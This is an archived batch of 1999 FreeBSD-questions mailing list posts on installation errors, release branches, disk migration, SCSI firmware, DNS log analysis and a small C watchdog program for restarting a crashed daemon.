cat: shared/l_term: No such file or directory  
cat: .wptemp: No such file or directory          
cat: .wptemp: No such file or directory  
mv: rename .wplist to shared/.trlist: No such file or directory  
cat: shared/l_prnt: No such file or directory  
cat: .wptemp: No such file or directory         
cat: .wptemp: No such file or directory  
mv: rename .wplist to shared/.prlist: No such file or directory  
egrep: shared/l_last: No such file or directory  
egrep: shared/l_last: No such file or directory          


The patched version yields similar results!

Thanks,


------------------------------------ _____________________________________
Patrick Seal                        |"Microsoft isn't evil, they just make
<patseal@hyperhost.net>             |   really crappy operating systems."
Hyperhost - http://www.hyperhost.net| -Linus Torvalds
hosting and Design

http://www.freebsd.org - http://www.linux.org




On Tue, 23 Mar 1999, Greg Lehey wrote:

> On Monday, 22 March 1999 at 16:30:11 -0500, Patrick Seal wrote:
> > I used the port patch 'patch-ab' on a copy of the CD on my harddrive and
> > tried to install.  It keep giving me a bunch of errors.
> >
> > Does anyone know the correct procedure for installing it?
> 
> Start by reporting some of your bunch.
> 
> Greg
> --
> When replying to this message, please copy the original recipients.
> For more information, see http://www.lemis.com/questions.html
> See complete headers for address, home page and phone numbers
> finger grog@lemis.com for PGP public key
> 



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From owner-freebsd-questions  Mon Mar 22 18:38:38 1999
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In-Reply-To: <19990322211958.9829.qmail@alpha.comkey.com.au> from Greg Black at "Mar 23, 99 07:19:58 am"
To: gjb@comkey.com.au (Greg Black)
Date: Mon, 22 Mar 1999 20:36:15 -0600 (CST)
Cc: kstewart@3-cities.com, freebsd-questions@FreeBSD.ORG,
	jmb@FreeBSD.ORG
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In a previous message, Greg Black said:
> > You can get rid of these (well from your mailer) by putting in a procmail
> > filter:
> 
> We don't want to get rid of them after they arrive -- we want
> them not to be generated in the first place.  Something is
> broken out there and needs to be fixed.

I agree. But you can also save yourself time by not having them.

-- 
"I haven't committed a crime.  What I did was fail to comply with the law."
-- David Dinkins, New York City Mayor, answering accusations that he failed
   to pay his taxes.



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From owner-freebsd-questions  Mon Mar 22 18:51:16 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Mon, 22 Mar 1999 20:51:17 -0600
From: Larry Hawk <tymbrwlf@bellsouth.net>
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I'm relatively new to FreeBSD ( < 1 yr), and I thought I understood the
whole -stable & -release thing but I seem to have become re-confused
with the 3.1 release. Could someone please explain it to me? I've been
messing around with FreeBSD off and on since 2.2.5. Which version should
I download (i.e. 2.2.8-Release, 2.2.8-Stable, 3.1-Release, or
3.1-Stable)? Please clear this up for a poor, lonesome, downtrodden
Windows NT Admin. (I'm trying to reform, honest...)

Larry Hawk
tymbrwlf@bellsouth.net



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From owner-freebsd-questions  Mon Mar 22 18:52:37 1999
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Date: Mon, 22 Mar 1999 20:51:41 -0600 (CST)
From: Christopher Palmer <cpalmer@jig.ordway.org>
To: Jeff Hamilton <gandolf@destiny.erols.com>
Cc: freebsd-questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: Change harddrives?
In-Reply-To: <199903212354.SAA04344@gandolf.dhs.org>
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On Sun, 21 Mar 1999, Jeff Hamilton wrote:

> The current drive is a 500 MB ide drive, and new drive will be a 1.2 GB 
> ide drive.  I need to move / and /usr from the old drive onto the new 
> drive without losing any files, and preserving permissions, etc.  The 
> slices on the new drive will be different sizes than on the old drive.
> 
> What is the best way to go about doing this?

I've used 'cp -a foo bar' to good effect before. If you treat 'tar' right
(read the man page carefully), you can get similar results.

Christopher Palmer
Assistant Systems Administrator, Ordway Music Theatre
cpalmer@jig.ordway.org



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From owner-freebsd-questions  Mon Mar 22 19:18:25 1999
Delivered-To: freebsd-questions@freebsd.org
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From: "Olivas, Stacy Q" <Olivassq@nafm.misawa.af.mil>
To: 'FreeBSD Questions' <freebsd-questions@freebsd.org>
Subject: TCPDUMP output
Date: Tue, 23 Mar 1999 12:14:13 +0900
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Hello,
I'm working on a little DNS monitoring project..

I have a small caching nameserver setup that feeds machines in a subnet.

To monitor where they have been, I've setup tcpdump to watch port 53 on the
machine for all traffic (it's only used for this pupose).. Everyday it
automatically rolls the logfiles over and sends a copy to me via e-mail (the
machine is an a secure area that I don't access on a regular basis).

My question is:

1.  Is there a program (preferably unix, but can be a windows based program)
that would allow me to have the logs formatted something easier to analyze
or
2.  Is there a program that would allow me (short of setting up a proxy)
monitor this sort of thing in an easier way??

I was thinking about writing a custom utility to analyze this stuff, but I
figured I might want to ask before doing so (just to save myself some
time)..

Thanks in advance.
Stacy Olivas



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From owner-freebsd-questions  Mon Mar 22 19:44:21 1999
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From: "Ulairi" <ulairi@jps.net>
To: <freebsd-questions@freebsd.org>
Subject: Re: Change HardDrives?
Date: Mon, 22 Mar 1999 19:43:17 -0800
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Ghost from (now) Symantec should be helpful, too. (Depending on
circumstances)



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From owner-freebsd-questions  Mon Mar 22 19:51:55 1999
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From: Edward Glowacki <glowack2@key-largo.cl.msu.edu>
To: Greg Lehey <grog@lemis.com>
Cc: freebsd-questions@freebsd.org
Subject: Re: DPT SmartRAID V support?
Message-ID: <19990322225309.A6981@key-largo.cl.msu.edu>
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Thanks.  We're looking forward to that release, but I'd rather it be
later and stable than early and buggy, especially considering the
servers they will be going in.  Is there any sort of announcement list
I could add my name to to be notified when it is available?

On Tue, Mar 23, 1999 at 10:22:46AM +1030, Greg Lehey wrote:
> On Monday, 22 March 1999 at 11:58:32 -0500, Edward Glowacki wrote:
> > Is support for the DPT SmartRAID V expected to be implemented any time soon?
> 
> In a word: "yes".  Work is in progress, and has been for a couple of
> months, but we don't have any firm release date.
> 
> Greg
> --
> When replying to this message, please copy the original recipients.
> For more information, see http://www.lemis.com/questions.html
> See complete headers for address, home page and phone numbers
> finger grog@lemis.com for PGP public key

-- 
Edward Glowacki			glowack2@msu.edu
Network Services
Michigan State University


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From owner-freebsd-questions  Mon Mar 22 19:53:48 1999
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Date: Tue, 23 Mar 1999 14:23:21 +1030
From: Greg Lehey <grog@lemis.com>
To: Edward Glowacki <glowack2@key-largo.cl.msu.edu>
Cc: freebsd-questions@freebsd.org
Subject: Re: DPT SmartRAID V support?
References: <19990322115832.C6005@key-largo.cl.msu.edu> <19990323102246.M442@lemis.com> <19990322225309.A6981@key-largo.cl.msu.edu>
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On Monday, 22 March 1999 at 22:53:10 -0500, Edward Glowacki wrote:
> On Tue, Mar 23, 1999 at 10:22:46AM +1030, Greg Lehey wrote:
>> On Monday, 22 March 1999 at 11:58:32 -0500, Edward Glowacki wrote:
>>> Is support for the DPT SmartRAID V expected to be implemented any time soon?
>>
>> In a word: "yes".  Work is in progress, and has been for a couple of
>> months, but we don't have any firm release date.
>
> Thanks.  We're looking forward to that release, but I'd rather it be
> later and stable than early and buggy, especially considering the
> servers they will be going in.  Is there any sort of announcement list
> I could add my name to to be notified when it is available?

Nothing specific.  You could watch the commits, but there are hundreds
of those every day.  It's possible that the author will announce it to
FreeBSD-announce, but that doesn't happen too often.  Maybe we should
find a better way of announcing this stuff.

Greg
--
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From owner-freebsd-questions  Mon Mar 22 20:16:32 1999
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From: "Ulairi" <ulairi@jps.net>
To: "Questions" <freebsd-questions@freebsd.org>
Subject: FreeBSD install onto a machine
Date: Mon, 22 Mar 1999 20:15:21 -0800
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------=_NextPart_000_0017_01BE74A0.B6972260
Content-Type: text/plain;
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A bit about my box first:
dual p-ii 266 with some RAM, Permedia-2-based AGP card, LX chipset, Mylex
FlashPoint LW controller with a TEAC CD-R and a 6.04 GB SCSI HD
4 IDE devices: Pri Mas/Pri Slave both 6.5 GB IDE drives, Sec Mas = 2.5 GB
IDE, Sec Slave = Panasonic 5-CD changer...

1st HD is 2 partitions. 1 GB FAT-16 with Win95 and the NT boot loader. 5.5
GB FAT-32 for Win95 use. (NT is on the 6.04 GB SCSI drive)
2nd HD is utterly and completely blank (I want to put FreeBSD on there)
the 2.5 GB is FAT-16, just temp storage stuff.

With the NT BootLoader on the 1st partition of the 1st drive installed,
anything I should watch out for when installing FreeBSD or can I tell it
to install its own boot manager on top of the NT's and then when I boot, I
just do "windows" and get it loaded?

FreeBSD 3.1-stable, from the CDs.

More info/details available upon request.

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From owner-freebsd-questions  Mon Mar 22 20:25:24 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Tue, 23 Mar 1999 09:50:53 +1100 (EDT)
From: Andrew MacIntyre <andymac@bullseye.apana.org.au>
To: Ron Crouch <VA3RCC@home.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: SMC EtherEz
In-Reply-To: <36F60AE0.BA77F215@home.com>
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On Mon, 22 Mar 1999, Ron Crouch wrote:

> I have an SMC EtherEz card (8416T). Could you please advise me as to
> whether or not this card can be used with FreeBSD 2.2.8. Thanks Ron
> Crouch

These cards have worked just fine with the ed0 driver long before the
release you mention.  You may have to use the configuration utility to
disable PnP support though.

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andrew.macintyre@aba.gov.au    (work) | Snail: PO Box 370
        andymac@bullseye.apana.org.au  (play) |        Belconnen  ACT  2616
Fido:   Andrew MacIntyre, 3:620/243.18        |        Australia



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From owner-freebsd-questions  Mon Mar 22 21:20:24 1999
Delivered-To: freebsd-questions@freebsd.org
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Message-ID: <016c01be74ed$264cef80$1464a8c0@upstairs.gvsa1.bc.wave.home.com>
From: "Jeff Yeo" <j.yeo@attcanada.net>
To: "Olivas, Stacy Q" <Olivassq@nafm.misawa.af.mil>,
	"'FreeBSD Questions'" <freebsd-questions@freebsd.org>
Subject: Re: TCPDUMP output
Date: Mon, 22 Mar 1999 21:05:59 -0800
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Stacy Olivas wrote:
>1.  Is there a program (preferably unix, but can be a windows based
program)
>that would allow me to have the logs formatted something easier to analyze


I would recommend Perl.  It is an interpreted scripting language, and
FreeBSD
comes with it installed (at least it came with my 2.2.8), and it excels at
crunching text files to generate reports.

On the downside, you have to learn the Perl scripting language but if you
know any of C, SED, AWK, shell programming you shouldn't have any trouble.

Jeff



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From owner-freebsd-questions  Mon Mar 22 21:43:56 1999
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Okay, I've got a question that doesn't directly relate to freebsd, but
more to hardware...

For some reason, when I use serial cables, some pin is not being asserted
and therefore causing serial communications to fail when I try to connect
my serial terminals...

I don't know WHICH pin it is, but for some reason the terminals work okay
when I change the line in /etc/ttys from ttydX to cuaaX where X is the
port ID.

I note that this only happens on my 25 pin ports, not on my 9 pin ones,
which is really just weird.  (And on two separate cards, one generic and
one from Byte Runner)

Any help appreciated....

-Dan Mahoney

--

"Let me tell you something about regrowing your dead wife Lucy, Harry.
It's probably illegal, potentially dangerous, and definitely crazy."

-Harry nods-

Vincent Spano, as Boris in "Creator".


Dan Mahoney
Gushi on efnet IRC
ICQ:13735144
(webpages TBA)





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From owner-freebsd-questions  Mon Mar 22 21:57:31 1999
Delivered-To: freebsd-questions@freebsd.org
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Message-Id: <199903230558.VAA00370@caern.limax.com>
To: "Kenneth D. Merry" <ken@plutotech.com>
Cc: freebsd-questions@freebsd.org, freebsd-scsi@freebsd.org
Subject: Re: Odd messages 
In-reply-to: Your message of "Mon, 22 Mar 1999 15:16:05 MST."
             <199903222216.PAA68834@panzer.plutotech.com> 
Date: Mon, 22 Mar 1999 21:58:20 -0800
From: "Mike O'Brien" <obrien@leonardo.net>
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Kenneth Merry sez:
> What is a VP32210?  I don't see that anywhere on Quantum's web site listing
> of various model numbers.

	Beats me.  That's what Fry's was selling that week as a Quantum
2-gig SCSI drive.

	Thanks for your response.  I'll check cabling and termination.
If there's a way to upgrade drive firmware, I sure don't know what it is.

Mike O'Brien


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From owner-freebsd-questions  Mon Mar 22 22: 8:30 1999
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Message-Id: <199903230607.XAA71440@panzer.plutotech.com>
Subject: Re: Odd messages
In-Reply-To: <199903230558.VAA00370@caern.limax.com> from "Mike O'Brien" at "Mar 22, 1999  9:58:20 pm"
To: obrien@leonardo.net (Mike O'Brien)
Date: Mon, 22 Mar 1999 23:07:56 -0700 (MST)
Cc: freebsd-questions@freebsd.org, freebsd-scsi@freebsd.org
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Mike O'Brien wrote...
> Kenneth Merry sez:
> > What is a VP32210?  I don't see that anywhere on Quantum's web site listing
> > of various model numbers.
> 
> 	Beats me.  That's what Fry's was selling that week as a Quantum
> 2-gig SCSI drive.
> 
> 	Thanks for your response.  I'll check cabling and termination.
> If there's a way to upgrade drive firmware, I sure don't know what it is.

Quantum has firmware and a firmware loader on their FTP site.  The thing
is, I dunno what sort of drive you have.

Ken
-- 
Kenneth Merry
ken@plutotech.com


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From owner-freebsd-questions  Mon Mar 22 22:17:28 1999
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From: Jeroen Ruigrok/Asmodai <asmodai@wxs.nl>
To: Larry Hawk <tymbrwlf@bellsouth.net>
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On 23-Mar-99 Larry Hawk wrote:
> I'm relatively new to FreeBSD ( < 1 yr), and I thought I understood the
> whole -stable & -release thing but I seem to have become re-confused
> with the 3.1 release. Could someone please explain it to me? I've been
> messing around with FreeBSD off and on since 2.2.5. Which version should
> I download (i.e. 2.2.8-Release, 2.2.8-Stable, 3.1-Release, or
> 3.1-Stable)? Please clear this up for a poor, lonesome, downtrodden
> Windows NT Admin. (I'm trying to reform, honest...)

Last year active development took place on 3.x (CURRENT) while 2.2.x was
stabilized and RELEASEd.

Last November, I think, marked the day that we RELEASEd 3.0 and was the end
of the 2.2.x line in December/Junuary after releasing 2.2.8 and some STABLE
things.

Now, currently, active development takes place on 4.x (CURRENT) and the
currently supported version (in words of providing features and bugfixes
from 4.x back to 3.x) is 3.x.

So get 3.1 and when ye feel confident with 3.1 and know how to cvsup I can
recommend 3(.1)-STABLE. If ye can get STABLE from start, do that.

---
Jeroen Ruigrok van der Werven     <http://www.freebsdzine.org> 
asmodai(at)wxs.nl        The idea does not replace the work...
Network/Security Specialist      <http://home.wxs.nl/~asmodai>
*BSD: Powered by Knowledge & Know-how <http://www.freebsd.org>


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From owner-freebsd-questions  Mon Mar 22 22:17:36 1999
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From: Jeroen Ruigrok/Asmodai <asmodai@wxs.nl>
To: Dave Walton <walton@emusic.com>
Subject: RE: Hardware monitoring
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On 22-Mar-99 Dave Walton wrote:
> Is there a driver available for the Winbond W83781D Hardware 
> Monitoring chip?
> See http://www.winbond.com/produ/w83781d.htm and 
> http://www.winbond.com/sheet/W83781D.pdf for details.

Sorry for not looking at the URLs but gotta leave for work in a sec =)

Anyways, this is one of those heat monitoring chips? 
Dunno if they (the other developers) are/were doing work on that, but if
the specs for the chip are freely available I think that there may be some
programmers with driver knowledge out there which might want to take this
up...

Me? No driver writing experience at all... (HINT: how about revising the
DDWG guys?)

---
Jeroen Ruigrok van der Werven     <http://www.freebsdzine.org> 
asmodai(at)wxs.nl        The idea does not replace the work...
Network/Security Specialist      <http://home.wxs.nl/~asmodai>
*BSD: Powered by Knowledge & Know-how <http://www.freebsd.org>


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From owner-freebsd-questions  Mon Mar 22 22:17:38 1999
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Date: Tue, 23 Mar 1999 11:38:17 +0530
From: Chirag Kantharia <chirag@cse.iitb.ernet.in>
To: freebsd-questions@FreeBSD.org
Subject: FreeBSD X11 Desktop Theme Contest
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Hello there,

I am looking for a FreeBSD desktop theme for my FBSD box. I found a link
http://www.freebsd.org/~xcontest described somewhere but the link
reports that the Xcontest is no more. I suppose the contest's is over
and the page doesn't exist. Where can I find the desktop theme that was
selected as the winner; also can I have a look at the other submitted ?

Thanx much.

-- 
Chirag Kantharia <chirag@cse.iitb.ernet.in>
Department of Computer Science and Engineering
Indian Institute of Technology, Bombay, India.

Artificial Intelligence:  Making computers behave like they do in the movies.



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From owner-freebsd-questions  Mon Mar 22 22:19:48 1999
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From: Jeroen Ruigrok/Asmodai <asmodai@wxs.nl>
To: Rich Fox <rich@f2sys.net>
Subject: RE: libwrap.so.7--making me crazy!
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On 22-Mar-99 Rich Fox wrote:
> Hi,
> 
> I am trying to fix a 3.1 distribution so that It can run netatalk.
> First I had the lib.so.3 (I think) problem. Fortunately, this was fairly
> common and I found the solution in the handbook.
> Now, I am stuck on the following:
> 
> /usr/libexec/ld-elf.so.1: Shared object "libwrap.so.7" not found
> 
> I have located and installed tcp_wrappers_7.6 and it didn't change
> anything. It took me a long time just to find the tcp_wrappers_7.6.tar.gz
> file and now, apparently it wasn't even what I needed.

Isn't that on ftp.porcupine.org? Also mayhaps a look over at
www.porcupine.org might be handy. That's Wietse's site and IIRC he didn't
hand over the project to other developers. Then again, having not looked at
that site for a while, I can be wrong.

Last try might be www.freshmeat.net.

---
Jeroen Ruigrok van der Werven     <http://www.freebsdzine.org> 
asmodai(at)wxs.nl        The idea does not replace the work...
Network/Security Specialist      <http://home.wxs.nl/~asmodai>
*BSD: Powered by Knowledge & Know-how <http://www.freebsd.org>


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From owner-freebsd-questions  Mon Mar 22 22:19:50 1999
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From: "McKloud Van Damme" <mckloudd@hotmail.com>
To: questions@freebsd.org
Subject: screen monitor question
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Hi, Where can i post a questions about this:

  I have FreeBSD 3.1, and I installed it finally, but when it 
took place to configure XSetup (X11 graphics), the computer
told me that "It can not change to graphic mode"...

  I have a PII-300 64RAM, 4HD, and a 
DRMON17  17" monitor from "Digital Research Technologies Company"
"SiS 6326"

my video card is an AGP ... 



So, what's wrong with that monitor?  Do I need to download something to 
be able to use X11... ???


thx
 
                           McKloud
Get Your Private, Free Email at http://www.hotmail.com


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From owner-freebsd-questions  Mon Mar 22 22:29:22 1999
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To: "Mike O'Brien" <obrien@leonardo.net>
Cc: "Kenneth D. Merry" <ken@plutotech.com>,
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On Mon, 22 Mar 1999, Mike O'Brien wrote:
> Kenneth Merry sez:
> > What is a VP32210?  I don't see that anywhere on Quantum's web site listing
> > of various model numbers.
> 
> 	Beats me.  That's what Fry's was selling that week as a Quantum
> 2-gig SCSI drive.

It's a Quantum Capella... 5400rpm, Fast10 drive. I've had the 2gig
version in my machine for around 4 years or so...
-- 
Name: Dave Huang     |   Mammal, mammal / their names are called /
INet: khym@bga.com   |   they raise a paw / the bat, the cat /
FurryMUCK: Dahan     |   dolphin and dog / koala bear and hog -- TMBG
Dahan: Hani G Y+C 23 Y++ L+++ W- C++ T++ A+ E+ S++ V++ F- Q+++ P+ B+ PA+ PL++



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From owner-freebsd-questions  Mon Mar 22 22:30:52 1999
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From: "Dan Langille" <junkmale@xtra.co.nz>
Organization: The FreeBSD Diary
To: Michael Brown <Michael_Brown@sw.cc.va.us>
Date: Tue, 23 Mar 1999 18:30:37 +1200
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On 22 Mar 99, at 16:17, Michael Brown wrote:

> does anyone know how to setup qpopper.
> 
> My setup is have problems.

See my website.  search for popper (or was it qpopper?).

--
Dan Langille
The FreeBSD Diary
http://www.FreeBSDDiary.com/freebsd


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From owner-freebsd-questions  Mon Mar 22 22:35: 8 1999
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From: Chris Piazza <cpiazza@home.net>
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-This seems to be a bug directly related to FreeBSD *only*-

A while back (ack, sorry, lost all the debug output, error messages
everything...:( ) I had a crash in FreeBSD that seems to have rendered the
latter part of my harddrive unusable, but *only* in FreeBSD.  

FreeBSD refuses to newfs this portion of the drive.  Both Linux and Windows95
have absolutely not problems using it, and indeed find no errors using scandisk
etc.  The kicker is that I can mount these dos (fat32) or ext2fs drives in
FreeBSD fine, yet if I try to write to them I get an endless scroll of messages
such as the following:

wd1s2c: hard error writing fsbn 4917756 of 4917756-4917763 (status
51<rdy,seekdone,err> error 10<no_id>)

It seems to me like FreeBSD spammed my harddrive with something, but what I
don't understand is why other OS' do not even think twice about it.  Is there
any way to wipe this part of the drive "totally" clean?

Suggestions appreciated,





---
Chris Piazza   Abbotsford, BC, Canada
cpiazza@home.net
finger norn@norn.ca.eu.org for PGP key


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From owner-freebsd-questions  Mon Mar 22 22:36:22 1999
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On Mon, 22 Mar 1999, Mike O'Brien wrote:
> 	Thanks for your response.  I'll check cabling and termination.
> If there's a way to upgrade drive firmware, I sure don't know what it is.

Whoops, forgot to mention that the firmware is on ftp.quantum.com, in
the /Disk_Firmware/Capella directory. I think /Utilities/Qshr_ldr.zip is
the program that updates the firmware; you'll need DOS and ASPI drivers.
Latest firmware is L915 (at least that's what's on quantum's site).
IIRC, the C1*.FUP files are for the 1gig version and the C2*.FUP files
are for the 2gig. The ones with "W" are for the wide versions.

sd0 at scsibus1 targ 0 lun 0: <Quantum, VP32210, L915> SCSI2 0/direct fixed



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From owner-freebsd-questions  Mon Mar 22 22:37:33 1999
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I've got a question about monitoring a daemon. It's a server for a
game and not the most stable piece of software you have ever seen. I
want to run a cron job periodically to check if the process has not
died, and if it has, restart it.

This is the way I have it now after being slightly surprised by the
behavior of ps(1),

    svrpid=`cat $svr/.newstartd.pid`

    # check if its is running
    if ! ( ps -p $svrpid | grep $svrpid ); then
	echo "$0: $svr server not running"
	cd $svr
	./newstartd &
	cd ..
    fi

The file $svr/.newstartd.pid holds the last pid of the server. I 'ps'
that process and then 'grep' the return to make sure it is there. If it
is not, I restart it.

Now, I originally just had '! ps -p $svrpid' as the condition in the
if-statement until I realized ps(1) does _not_ return an error
(non-zero) when the pid it's asked to look up does not exist.

My question is:

Is there a more reliable and graceful way to check if a process,
identified by pid, is still alive? The '(ps | grep)' combo is somewhat
of an ugly kludge... but I can't think of when it would fail either.

Thanks.
-- 
Crist J. Clark                           cjclark@home.com


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From owner-freebsd-questions  Mon Mar 22 22:38:56 1999
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Date: Tue, 23 Mar 1999 17:08:25 +1030
From: Greg Lehey <grog@lemis.com>
To: Chirag Kantharia <chirag@cse.iitb.ernet.in>,
	freebsd-questions@FreeBSD.ORG
Subject: Re: FreeBSD X11 Desktop Theme Contest
References: <19990323113817.A23349@cse.iitb.ernet.in>
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On Tuesday, 23 March 1999 at 11:38:17 +0530, Chirag Kantharia wrote:
> Hello there,
>
> I am looking for a FreeBSD desktop theme for my FBSD box. I found a link
> http://www.freebsd.org/~xcontest described somewhere but the link
> reports that the Xcontest is no more. I suppose the contest's is over
> and the page doesn't exist. Where can I find the desktop theme that was
> selected as the winner; also can I have a look at the other submitted ?

Sorry, the contest was cancelled due to lack of interest.

Greg
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From owner-freebsd-questions  Mon Mar 22 22:40: 8 1999
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To: freebsd-questions@FreeBSD.ORG
Subject: Re: how to die gracefully
Message-ID: <19990322130222.C4838@drwho.xnet.com>
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On Mon, Mar 22, 1999 at 03:00:33PM +0000, Karl Pielorz wrote:
> Catch the CTRL-C signal, then perform housekeeping & cleanup (i.e. close
> files, sockets, freeup memory used etc. - all of which your program should
> have tracked etc.), then quit...
> 
> > 2.I like to catch the signal when pushed Ctl^C,and make a handler
> > routine.Would you tell me what signal I can catch when enterring Ctl^C ?
> 
> SIGQUIT I think - check the man pages out (man signal)...

C-c is "SIGINT", but SIGQUIT should be caught too (SIGQUIT is brutal and
causes a coredump).  Note the signals in /usr/include/signal.h.  Also, one
should look into the "sigaction()" and related functions for proper signal
handling...

-- 
    Michael Maxwell <drwho @ xnet.com>  |  http://www.xnet.com/~drwho/
       "American Justice: oxymoron.  William J. Clinton: moron."
                                                    --M. Maxwell (1999)


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From owner-freebsd-questions  Mon Mar 22 22:44: 3 1999
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From: "TROTTER" <dtrotte@mcsi.net>
To: <freebsd-questions@FreeBSD.ORG>
Subject: I am a beginner please help...
Date: Mon, 22 Mar 1999 22:43:56 -0800
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    I was wondering what hardware configuration I would need for a
server{not on a network, I would have one computer for a mud} whci I would
have 200-300 total users and 20-40 on at the same time... Also, what is the
hardrive space required for FreeBSD?
Thanks for your answers,
Tom



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From owner-freebsd-questions  Mon Mar 22 22:49:28 1999
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Date: Tue, 23 Mar 1999 17:47:17 +1100
From: Jim Mock <jim@corp.au.triax.com>
To: Chirag Kantharia <chirag@cse.iitb.ernet.in>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: FreeBSD X11 Desktop Theme Contest
Message-ID: <19990323174716.A45795@corp.au.triax.com>
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On Tue, 23 Mar 1999 at 11:38:17 +0530, Chirag Kantharia wrote:
> Hello there,
> 
> I am looking for a FreeBSD desktop theme for my FBSD box. I found a
> link http://www.freebsd.org/~xcontest described somewhere but the
> link reports that the Xcontest is no more. I suppose the contest's
> is over and the page doesn't exist. Where can I find the desktop
> theme that was selected as the winner; also can I have a look at the
> other submitted ?
>

As far as I know, the desktop theme contest never got off the ground
and sort of vanished from existence which is why that page tells you
it's no more.

I for one wouldn't mind seeing it resurected..

-- 
Jim Mock  System Administrator  jim@corp.au.triax.com  ,-._|\  FreeBSD
work:  Triax Internet Services  http://www.triax.com/ /      \ The
personal:  http://www.triax.com/~jim/                 \_,--._/ Power To
The FreeBSD 'zine  http://www.freebsdzine.org/              v  Serve!


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From owner-freebsd-questions  Mon Mar 22 22:54:48 1999
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To: Dave Huang <khym@bga.com>
Cc: freebsd-questions@freebsd.org, freebsd-scsi@freebsd.org
Subject: Re: Odd messages 
In-reply-to: Your message of "Tue, 23 Mar 1999 00:35:46 CST."
             <Pine.NEB.4.05.9903230030120.13724-100000@sloth.metonymy.com> 
Date: Mon, 22 Mar 1999 22:55:53 -0800
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> ...IIRC, the C1*.FUP files are for the 1gig version and the C2*.FUP files
> are for the 2gig. The ones with "W" are for the wide versions.

	Sounds dangerous.  How can I check this info before rendering
my drive useless by loading bogus firmware?


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From owner-freebsd-questions  Mon Mar 22 23: 6: 0 1999
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Date: Tue, 23 Mar 1999 17:35:35 +1030
From: Greg Lehey <grog@lemis.com>
To: cjclark@home.com,
	FreeBSD Questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: Process Checking
References: <199903230637.BAA10035@cc942873-a.ewndsr1.nj.home.com>
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In-Reply-To: <199903230637.BAA10035@cc942873-a.ewndsr1.nj.home.com>; from Crist J. Clark on Tue, Mar 23, 1999 at 01:37:19AM -0500
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On Tuesday, 23 March 1999 at  1:37:19 -0500, Crist J. Clark wrote:
> I've got a question about monitoring a daemon. It's a server for a
> game and not the most stable piece of software you have ever seen. I
> want to run a cron job periodically to check if the process has not
> died, and if it has, restart it.

The obvious way to do this is write a little C program which in a loop
spawns the daemon and then wait4()s it to die.  The following code
should do the trick:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <string.h>
extern int errno;

int main (int argc, char *argv [], char *envp [])
{
  pid_t pid;
  int status;
  struct rusage rusage;

  while (1)
    {
    pid = fork ();
    switch (pid)
      {
    case 0:						    /* child */
      execve (argv [1], &argv [1], envp);
      printf ("Couldn't execve %s: %s\n", argv [1], strerror (errno));
      exit (1);						    /* death */
      /* NOTREACHED */

    case -1:
      perror ("Can't fork");
      exit (1);

    default:
      wait4 (pid, &status, 0, &rusage);
      printf ("Pid %d died\n", (int) pid);
      }
    }
  }

Just supply the name of the daemon and any parameters, and it should
keep the daemon running.

Greg
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From owner-freebsd-questions  Mon Mar 22 23:10:26 1999
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Date: Tue, 23 Mar 1999 17:40:01 +1030
From: Greg Lehey <grog@lemis.com>
To: Chris Piazza <cpiazza@home.net>, questions@FreeBSD.ORG
Subject: Re: harddrive woes (!)
References: <XFMail.990322223437.cpiazza@home.net>
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On Monday, 22 March 1999 at 22:34:37 -0800, Chris Piazza wrote:
> -This seems to be a bug directly related to FreeBSD *only*-
>
> A while back (ack, sorry, lost all the debug output, error messages
> everything...:( ) I had a crash in FreeBSD that seems to have rendered the
> latter part of my harddrive unusable, but *only* in FreeBSD.
>
> FreeBSD refuses to newfs this portion of the drive.  Both Linux and Windows95
> have absolutely not problems using it, and indeed find no errors using scandisk
> etc.  The kicker is that I can mount these dos (fat32) or ext2fs drives in
> FreeBSD fine, yet if I try to write to them I get an endless scroll of messages
> such as the following:
>
> wd1s2c: hard error writing fsbn 4917756 of 4917756-4917763 (status
> 51<rdy,seekdone,err> error 10<no_id>)

This is telling you that the sector you're looking for on the disk
simply isn't there.  This isn't FreeBSD, it's the drive itself.

> It seems to me like FreeBSD spammed my harddrive with something, but
> what I don't understand is why other OS' do not even think twice
> about it.

There are two possibilities here:

1.  The other OSs don't try to access this sector.
2.  They ignore the error.

Hopefully (1) is the correct answer :-)

> Is there any way to wipe this part of the drive "totally" clean?

Some format utilities can do this for you.  Unfortunately FreeBSD
doesn't supply anything to format IDE drives.  Does your BIOS have
something?

Greg
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From owner-freebsd-questions  Mon Mar 22 23:18: 1 1999
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Date: Mon, 22 Mar 1999 23:17:21 -0800 (PST)
Reply-To: Chris Piazza <cpiazza@home.net>
From: Chris Piazza <cpiazza@home.net>
To: Greg Lehey <grog@lemis.com>
Subject: Re: harddrive woes (!)
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On 23-Mar-99 Greg Lehey wrote:
> On Monday, 22 March 1999 at 22:34:37 -0800, Chris Piazza wrote:
> 
> This is telling you that the sector you're looking for on the disk
> simply isn't there.  This isn't FreeBSD, it's the drive itself.
> 
>> It seems to me like FreeBSD spammed my harddrive with something, but
>> what I don't understand is why other OS' do not even think twice
>> about it.
> 
> There are two possibilities here:
> 
> 1.  The other OSs don't try to access this sector.
> 2.  They ignore the error.

My problem with this is I can't even write 100k on to this partition (about 3.3
gigs, at the end of the drive) in FreeBSD, yet I've filled the drive in both
Linux and FreeBSD =/.

> 
> Hopefully (1) is the correct answer :-)
> 
>> Is there any way to wipe this part of the drive "totally" clean?
> 
> Some format utilities can do this for you.  Unfortunately FreeBSD
> doesn't supply anything to format IDE drives.  Does your BIOS have
> something?
> 

It has the 'low level format', of course ;).  And this error has survived
through that.


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From owner-freebsd-questions  Mon Mar 22 23:18:36 1999
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From: "Ulairi" <ulairi@jps.net>
To: "Questions" <freebsd-questions@freebsd.org>
Subject: RE: FreeBSD X11 Desktop Theme Contest
Date: Mon, 22 Mar 1999 23:17:21 -0800
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www.themes.org should have something, unless my memory is back to it's
original hazy state.

| -----Original Message-----
| From: owner-freebsd-questions@FreeBSD.ORG
| [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Greg Lehey
| Sent: Monday, March 22, 1999 22:38
| To: Chirag Kantharia; freebsd-questions@FreeBSD.ORG
| Subject: Re: FreeBSD X11 Desktop Theme Contest
|
| Sorry, the contest was cancelled due to lack of interest.



